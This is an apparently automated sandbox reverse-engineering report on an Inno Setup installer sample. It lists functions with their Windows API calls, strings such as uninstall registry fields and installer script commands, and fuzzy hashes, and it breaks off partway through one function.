Instruction Fuzzy Hash: 60E18031700124DFD710DF69E989A6E77F4EB54305FA580AAE4059B3A2C73CEE91EB09

Function 004671CC Relevance: 13.9, APIs: 4, Strings: 3, Instructions: 1649
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00494DD8: GetWindowRect.USER32(00000000), ref: 00494DEE

LoadBitmapA.USER32(00400000,STOPIMAGE), ref: 0046759B

Part of subcall function 0041D6A8: GetObjectA.GDI32(?,00000018,004675B5), ref: 0041D6D3

Part of subcall function 00466FA8: SHGetFileInfo.SHELL32(c:\directory,00000010,?,00000160,00001010), ref: 0046704B
Part of subcall function 00466FA8: ExtractIconA.SHELL32(00400000,00000000,?), ref: 00467071
Part of subcall function 00466FA8: ExtractIconA.SHELL32(00400000,00000000,00000027), ref: 004670C8

Part of subcall function 00466968: KiUserCallbackDispatcher.NTDLL(?,?,00000000,?,00467650,00000000,00000000,00000000,0000000C,00000000), ref: 00466980

Part of subcall function 0049505C: MulDiv.KERNEL32(0000000D,?,0000000D), ref: 00495066

Part of subcall function 0042ED30: GetProcAddress.KERNEL32(00000000,SHAutoComplete), ref: 0042EDA0
Part of subcall function 0042ED30: SHAutoComplete.SHLWAPI(00000000,00000001), ref: 0042EDBD

Part of subcall function 00494D28: 73A1A570.USER32(00000000,?,?,?), ref: 00494D4A
Part of subcall function 00494D28: SelectObject.GDI32(?,00000000), ref: 00494D70
Part of subcall function 00494D28: 73A1A480.USER32(00000000,?,00494DCE,00494DC7,?,00000000,?,?,?), ref: 00494DC1

Part of subcall function 0049504C: MulDiv.KERNEL32(0000004B,?,00000006), ref: 00495056

GetSystemMenu.USER32(00000000,00000000,0000000C,00000000,00000000,00000000,00000000,0222FAC0,02231820,?,?,02231850,?,?,022318A0,?), ref: 00468225
AppendMenuA.USER32(00000000,00000800,00000000,00000000), ref: 00468236
AppendMenuA.USER32(00000000,00000000,0000270F,00000000), ref: 0046824E

Part of subcall function 0042A054: SendMessageA.USER32(00000000,0000014E,00000000,00000000), ref: 0042A06A

Strings

(Default), xrefs: 00468837
, xrefs: 0046765D
STOPIMAGE, xrefs: 00467590

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: Menu$AppendExtractIconObject$A480A570AddressAutoBitmapCallbackCompleteDispatcherFileInfoLoadMessageProcRectSelectSendSystemUserWindow
String ID: $(Default)$STOPIMAGE
API String ID: 3271511185-770201673
Opcode ID: 65c14ae30e85822ef60db02fd97b7f4e3efbe6cb128918b96e9feeb284152913
Instruction ID: b2f63b4b9f8df581d735fd8ef5c85857eef1c350e3dafc85bc3b179d47d789c4
Opcode Fuzzy Hash: 65c14ae30e85822ef60db02fd97b7f4e3efbe6cb128918b96e9feeb284152913
Instruction Fuzzy Hash: FCF2D6387005148FCB00EB69D9D5F9973F1BF49304F1582BAE9049B36ADB74AC46CB9A

Function 00474D70 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 99fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(00000000,?,00000000,00474EDA,?,?,0049C1D0,00000000), ref: 00474DC9
FindNextFileA.KERNEL32(00000000,?,00000000,?,00000000,00474EDA,?,?,0049C1D0,00000000), ref: 00474EA6
FindClose.KERNEL32(00000000,00000000,?,00000000,?,00000000,00474EDA,?,?,0049C1D0,00000000), ref: 00474EB4

Strings

unins, xrefs: 00474E1C
unins???.*, xrefs: 00474DB3

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: Find$File$CloseFirstNext
String ID: unins$unins???.*
API String ID: 3541575487-1009660736
Opcode ID: 93e32e2715b3a8b7847a0fb832790e1c3976f33889ea765eaf668e4b41fda757
Instruction ID: 3bd68598c0aa53c456c144f1316f7d147ab415eaa7c6a73ce12ee5554087e81d
Opcode Fuzzy Hash: 93e32e2715b3a8b7847a0fb832790e1c3976f33889ea765eaf668e4b41fda757
Instruction Fuzzy Hash: 99316370600118AFCB10EF65C881AEEB7A9EF85314F5084F6E50CA73A2DB389F418F19

Function 00452A34 Relevance: 3.0, APIs: 2, Instructions: 45fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(00000000,?,00000000,00452A97,?,?,-00000001,00000000), ref: 00452A71
GetLastError.KERNEL32(00000000,?,00000000,00452A97,?,?,-00000001,00000000), ref: 00452A79

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: ErrorFileFindFirstLast
String ID:
API String ID: 873889042-0
Opcode ID: 7ae0723ade0fcfbd8a40aeca515459a75bb89ca97a3748738d7edfd6ae7cd884
Instruction ID: 4713bb530a1d6cf0c1be7e5c5fdd45c253cc675fccbb574d3c3c9d841926f9e3
Opcode Fuzzy Hash: 7ae0723ade0fcfbd8a40aeca515459a75bb89ca97a3748738d7edfd6ae7cd884
Instruction Fuzzy Hash: 44F0F971A04704AB8B21DFA69D4149EB7ACEB86725B5046BBFC14E3282DAB84E054558

Function 0046DF04 Relevance: 3.0, APIs: 2, Instructions: 28comCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(00000452,0046DF9A), ref: 0046DF0E
CoCreateInstance.OLE32(00499B84,00000000,00000001,00499B94,?,00000452,0046DF9A), ref: 0046DF2A

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: CreateInstanceVersion
String ID:
API String ID: 1462612201-0
Opcode ID: 5a8033094c1a2ccd5f304b9bf5dd1a9c70433978345ec92e95cfd2b7b8fd1860
Instruction ID: 830c4b43a8f201c084d489d1d0538b8be171f1220f730b3634288a605713aaeb
Opcode Fuzzy Hash: 5a8033094c1a2ccd5f304b9bf5dd1a9c70433978345ec92e95cfd2b7b8fd1860
Instruction Fuzzy Hash: 08F0A031B853009EEB14E7A9DC46B4A37C0BB65328F4000BBF044972D2E3AC8890875F

Function 00408558 Relevance: 1.5, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(?,00000044,?,00000100,0049B4C0,00000001,?,00408623,?,00000000,00408702), ref: 00408576

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 13731be40deedddb1bcfa8ff428b7afeb94bbc36fd170698d9f0ebbe8ddb7d61
Instruction ID: c2e77f62f7768c8d819fe5e4f890f04d0c30465c7a0250885ae4f210fddfc08b
Opcode Fuzzy Hash: 13731be40deedddb1bcfa8ff428b7afeb94bbc36fd170698d9f0ebbe8ddb7d61
Instruction Fuzzy Hash: 9BE0927170021466D311A96A9C86AEAB35C975C314F00427FBA84E73C2EDB89E4146A9

Function 00423B7C Relevance: 1.5, APIs: 1, Instructions: 24nativeCOMMON

Download Yara Rule

APIs

NtdllDefWindowProc_A.USER32(?,?,?,?,?,00424149,?,00000000,00424154), ref: 00423BA6

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: NtdllProc_Window
String ID:
API String ID: 4255912815-0
Opcode ID: f802b11f0c681854f79c5f1da5c1baf03ca951e6abaa2e26ef8ced90cdb9169e
Instruction ID: a748582893d7571d6ac8bdbe819d0a8fbf5f36db2d3505b6f19a51c7a0bbae16
Opcode Fuzzy Hash: f802b11f0c681854f79c5f1da5c1baf03ca951e6abaa2e26ef8ced90cdb9169e
Instruction Fuzzy Hash: 47F0B979205608AF8B40DF99C588D4ABBE8AB4C260B058195B988CB321C234ED808F90

Function 00455570 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

GetUserNameA.ADVAPI32(?), ref: 00455586

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: 1f1a34a7eb901b06f0a61d7cce650584f8c9fe2765f86e1b2240f6bc1b6117e3
Instruction ID: 76bfcf8d2b29e22e6d76dcded3dafddf5190573ba102c834aba1eed314c6e9aa
Opcode Fuzzy Hash: 1f1a34a7eb901b06f0a61d7cce650584f8c9fe2765f86e1b2240f6bc1b6117e3
Instruction Fuzzy Hash: C9D0C27130460467C700AA68DC825AA358E8B84306F00483E3CC5DA2C3FABDDA485756

Function 0042F518 Relevance: 1.5, APIs: 1, Instructions: 17nativeCOMMON

Download Yara Rule

APIs

NtdllDefWindowProc_A.USER32(?,?,?,?), ref: 0042F534

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: NtdllProc_Window
String ID:
API String ID: 4255912815-0
Opcode ID: 333668ea2a957bd6a9fe502da343e78d2fcb082c63b96445e07994a194d2f0c0
Instruction ID: dfc14921be52f7ae21963fbc3fbcd64f7f6a072f88f97ccbdbccca1c2d2fc057
Opcode Fuzzy Hash: 333668ea2a957bd6a9fe502da343e78d2fcb082c63b96445e07994a194d2f0c0
Instruction Fuzzy Hash: 9FD09E7220011DBB9B00DE99E840C6B73ADAB88710BD09926F945C7642D634ED9197A5

Function 0046EE78 Relevance: 72.2, APIs: 1, Strings: 40, Instructions: 500
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0046EC64: RegSetValueExA.ADVAPI32(?,Inno Setup: Setup Version,00000000,00000001,00000000,00000001,r_G,?,0049C1D0,?,0046EF7B,?,00000000,0046F516,?,_is1), ref: 0046EC87

Part of subcall function 0046ECD4: RegSetValueExA.ADVAPI32(?,NoModify,00000000,00000004,00000000,00000004,00000001,?,0046F352,?,?,00000000,0046F516,?,_is1,?), ref: 0046ECE7

RegCloseKey.ADVAPI32(?,0046F51D,?,_is1,?,Software\Microsoft\Windows\CurrentVersion\Uninstall\,00000000,0046F568,?,?,0049C1D0,00000000), ref: 0046F510

Strings

MinorVersion, xrefs: 0046F3B1
NoRepair, xrefs: 0046F354
EstimatedSize, xrefs: 0046F48D
RegisterPreviousData, xrefs: 0046F4C6
DisplayVersion, xrefs: 0046F224
Inno Setup: User Info: Name, xrefs: 0046F0C6
Inno Setup: User Info: Organization, xrefs: 0046F0DB
Inno Setup: Icon Group, xrefs: 0046EFCD
HelpTelephone, xrefs: 0046F27B
Contact, xrefs: 0046F2EF
QuietUninstallString, xrefs: 0046F207
Inno Setup: Deselected Components, xrefs: 0046F067
UninstallString, xrefs: 0046F1CD
_is1, xrefs: 0046EED4
Inno Setup: Selected Tasks, xrefs: 0046F08F
Inno Setup: Language, xrefs: 0046F117
Inno Setup: Selected Components, xrefs: 0046F048
Publisher, xrefs: 0046F241
ModifyPath, xrefs: 0046F32C
Software\Microsoft\Windows\CurrentVersion\Uninstall\, xrefs: 0046EECE
URLUpdateInfo, xrefs: 0046F2B5
Readme, xrefs: 0046F2D2
MajorVersion, xrefs: 0046F39F
InstallLocation, xrefs: 0046EFBE
Inno Setup: Setup Version, xrefs: 0046EF69
DisplayIcon, xrefs: 0046F193
DisplayName, xrefs: 0046F176
NoModify, xrefs: 0046F340
Inno Setup: No Icons, xrefs: 0046EFEB
Inno Setup: Deselected Tasks, xrefs: 0046F0AE
" /SILENT, xrefs: 0046F1FA
URLInfoAbout, xrefs: 0046F25E
Inno Setup: App Path, xrefs: 0046EF9E
HelpLink, xrefs: 0046F298
Comments, xrefs: 0046F30C
InstallDate, xrefs: 0046F373
Inno Setup: User Info: Serial, xrefs: 0046F0F0
Inno Setup: Setup Type, xrefs: 0046F029
Inno Setup: User, xrefs: 0046F00A
5.5.1 (a), xrefs: 0046EF6E

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: Value$Close
String ID: " /SILENT$5.5.1 (a)$Comments$Contact$DisplayIcon$DisplayName$DisplayVersion$EstimatedSize$HelpLink$HelpTelephone$Inno Setup: App Path$Inno Setup: Deselected Components$Inno Setup: Deselected Tasks$Inno Setup: Icon Group$Inno Setup: Language$Inno Setup: No Icons$Inno Setup: Selected Components$Inno Setup: Selected Tasks$Inno Setup: Setup Type$Inno Setup: Setup Version$Inno Setup: User$Inno Setup: User Info: Name$Inno Setup: User Info: Organization$Inno Setup: User Info: Serial$InstallDate$InstallLocation$MajorVersion$MinorVersion$ModifyPath$NoModify$NoRepair$Publisher$QuietUninstallString$Readme$RegisterPreviousData$Software\Microsoft\Windows\CurrentVersion\Uninstall\$URLInfoAbout$URLUpdateInfo$UninstallString$_is1
API String ID: 3391052094-213252641
Opcode ID: db2c8a7a7111b7a2256de2528cb94e5858c2f33c6448f5c94e9fc589d623ae97
Instruction ID: b1500e3f1927c4d0668730226bdd95c12c24136f653289305a03eef3c2fa698f
Opcode Fuzzy Hash: db2c8a7a7111b7a2256de2528cb94e5858c2f33c6448f5c94e9fc589d623ae97
Instruction Fuzzy Hash: 40125334A001089BDB04EF56E991ADE73F5FB48304F60807BE8506B765EB78BD45CB5A

Function 00491D44 Relevance: 56.4, APIs: 16, Strings: 16, Instructions: 431
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000000,00000000,00492239,?,?,?,?,00000000,00000000,00000000), ref: 00491D84
FindWindowA.USER32(00000000,00000000), ref: 00491DB5

Strings

REGISTERWINDOWMESSAGE, xrefs: 00491F17
FREEDLL, xrefs: 00492130
POSTBROADCASTMESSAGE, xrefs: 00491F9F
CREATEMUTEX, xrefs: 00492165
SENDMESSAGE, xrefs: 00491E09
FINDWINDOWBYCLASSNAME, xrefs: 00491D91
SENDNOTIFYMESSAGE, xrefs: 00491EBB
CHARTOOEMBUFF, xrefs: 004921DA
SLEEP, xrefs: 00491D6E
POSTMESSAGE, xrefs: 00491E5F
CALLDLLPROC, xrefs: 004920A9
SENDBROADCASTMESSAGE, xrefs: 00491F51
SENDBROADCASTNOTIFYMESSAGE, xrefs: 00491FF3
OEMTOCHARBUFF, xrefs: 00492197
FINDWINDOWBYWINDOWNAME, xrefs: 00491DCD
LOADDLL, xrefs: 00492047

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: FindSleepWindow
String ID: CALLDLLPROC$CHARTOOEMBUFF$CREATEMUTEX$FINDWINDOWBYCLASSNAME$FINDWINDOWBYWINDOWNAME$FREEDLL$LOADDLL$OEMTOCHARBUFF$POSTBROADCASTMESSAGE$POSTMESSAGE$REGISTERWINDOWMESSAGE$SENDBROADCASTMESSAGE$SENDBROADCASTNOTIFYMESSAGE$SENDMESSAGE$SENDNOTIFYMESSAGE$SLEEP
API String ID: 3078808852-3310373309
Opcode ID: 58a090b98d9e381863c78da40cb00c9745695e2105e43b1ea83f897cb27ba63d
Instruction ID: dc8cd37179c6c7efec8ae072485b7dd58185b77a9baa1073e2e80a3326dd0ce5
Opcode Fuzzy Hash: 58a090b98d9e381863c78da40cb00c9745695e2105e43b1ea83f897cb27ba63d
Instruction Fuzzy Hash: 6CC19360B043406BDB24BF7E9D4291A59999F98708711897FB846EB38BCE7CDC0E439D

Function 00483038 Relevance: 26.3, APIs: 9, Strings: 6, Instructions: 68
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(kernel32.dll), ref: 00483049
GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 00483056
GetNativeSystemInfo.KERNELBASE(?,00000000,GetNativeSystemInfo,kernel32.dll), ref: 00483064
GetProcAddress.KERNEL32(00000000,IsWow64Process), ref: 0048306C
GetCurrentProcess.KERNEL32(?,00000000,IsWow64Process), ref: 00483078
GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryA), ref: 00483099
GetModuleHandleA.KERNEL32(advapi32.dll,RegDeleteKeyExA,00000000,GetSystemWow64DirectoryA,?,00000000,IsWow64Process), ref: 004830AC
GetProcAddress.KERNEL32(00000000,advapi32.dll), ref: 004830B2
GetSystemInfo.KERNEL32(?,00000000,GetNativeSystemInfo,kernel32.dll), ref: 004830C9

Strings

kernel32.dll, xrefs: 00483044
RegDeleteKeyExA, xrefs: 004830A2
GetSystemWow64DirectoryA, xrefs: 00483093
IsWow64Process, xrefs: 00483066
advapi32.dll, xrefs: 004830A7
GetNativeSystemInfo, xrefs: 00483050

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: AddressProc$HandleInfoModuleSystem$CurrentNativeProcess
String ID: GetNativeSystemInfo$GetSystemWow64DirectoryA$IsWow64Process$RegDeleteKeyExA$advapi32.dll$kernel32.dll
API String ID: 2230631259-2623177817
Opcode ID: 19051ef92357407474476a60c046aa04f8c513acd1fb492cc3cf86325791a6e5
Instruction ID: af3d4bc633e3fac8e2117acd109dd394a62660f1f52edacbaea6f09291502d38
Opcode Fuzzy Hash: 19051ef92357407474476a60c046aa04f8c513acd1fb492cc3cf86325791a6e5
Instruction Fuzzy Hash: 9211B69010574194DA117B764C5E76F19888B12F1BF140C3BB880662DBEABD8F45CB2F

Function 00450294 Relevance: 26.3, APIs: 8, Strings: 7, Instructions: 45
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersion.KERNEL32(00480154), ref: 004502A7
LoadLibraryA.KERNEL32(Rstrtmgr.dll,00480154), ref: 004502BF
GetProcAddress.KERNEL32(6C9F0000,RmStartSession), ref: 004502DD
GetProcAddress.KERNEL32(6C9F0000,RmRegisterResources), ref: 004502F2
GetProcAddress.KERNEL32(6C9F0000,RmGetList), ref: 00450307
GetProcAddress.KERNEL32(6C9F0000,RmShutdown), ref: 0045031C
GetProcAddress.KERNEL32(6C9F0000,RmRestart), ref: 00450331
GetProcAddress.KERNEL32(6C9F0000,RmEndSession), ref: 00450346

Strings

RmEndSession, xrefs: 0045033B
RmGetList, xrefs: 004502FC
RmRestart, xrefs: 00450326
RmStartSession, xrefs: 004502D2
Rstrtmgr.dll, xrefs: 004502BA
RmRegisterResources, xrefs: 004502E7
RmShutdown, xrefs: 00450311

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: AddressProc$LibraryLoadVersion
String ID: RmEndSession$RmGetList$RmRegisterResources$RmRestart$RmShutdown$RmStartSession$Rstrtmgr.dll
API String ID: 1968650500-3419246398
Opcode ID: f300c04dd650cc6e2fa8790a8e0a5b734cbc62ec7341ff736350933aa5c91be4
Instruction ID: 86b2f7b41730535ff8ff974bf0b660ab9cb9644c053cd973342487371e557a0c
Opcode Fuzzy Hash: f300c04dd650cc6e2fa8790a8e0a5b734cbc62ec7341ff736350933aa5c91be4
Instruction Fuzzy Hash: EF11B3B5510301EBD610FB65BF46A2E37EAE728715B08063FE904962A2CB7C8844CF9C

Function 00468BB0 Relevance: 24.7, APIs: 1, Strings: 13, Instructions: 155
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0042DE14: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,0048319F,?,00000001,?,?,0048319F,?,00000001,00000000), ref: 0042DE30

RegCloseKey.ADVAPI32(?,00468DCA,?,?,00000001,00000000,00000000,00468DE5,?,00000000,00000000,?), ref: 00468DB3

Strings

Inno Setup: No Icons, xrefs: 00468C9B
Inno Setup: Setup Type, xrefs: 00468CC2
Software\Microsoft\Windows\CurrentVersion\Uninstall, xrefs: 00468C0F
Inno Setup: Icon Group, xrefs: 00468C8E
Inno Setup: Deselected Components, xrefs: 00468CF4
Inno Setup: User Info: Name, xrefs: 00468D6F
Inno Setup: User Info: Organization, xrefs: 00468D82
Inno Setup: Selected Tasks, xrefs: 00468D1F
Inno Setup: Selected Components, xrefs: 00468CD2
%s\%s_is1, xrefs: 00468C2D
Inno Setup: User Info: Serial, xrefs: 00468D95
Inno Setup: Deselected Tasks, xrefs: 00468D41
Inno Setup: App Path, xrefs: 00468C72

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: CloseOpen
String ID: %s\%s_is1$Inno Setup: App Path$Inno Setup: Deselected Components$Inno Setup: Deselected Tasks$Inno Setup: Icon Group$Inno Setup: No Icons$Inno Setup: Selected Components$Inno Setup: Selected Tasks$Inno Setup: Setup Type$Inno Setup: User Info: Name$Inno Setup: User Info: Organization$Inno Setup: User Info: Serial$Software\Microsoft\Windows\CurrentVersion\Uninstall
API String ID: 47109696-1093091907
Opcode ID: 8db79232fb2f2725b9adfe70d64749861c257aff0263038353b857e31bb30bb7
Instruction ID: 9409bd20b999dcc9be58dd01f280802f9f4acbf4d31626fc1b9235e67c3febe1
Opcode Fuzzy Hash: 8db79232fb2f2725b9adfe70d64749861c257aff0263038353b857e31bb30bb7
Instruction Fuzzy Hash: B451C430A006489BCB11DB65C9917DEB7F5EF98304F50816FE840A7391EB78AE41CB19

Function 0042386C Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 98
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041F3BC: VirtualAlloc.KERNEL32(00000000,00001000,00001000,00000040,?,00000000,0041ED9C,?,00423887,00423C04,0041ED9C), ref: 0041F3DA

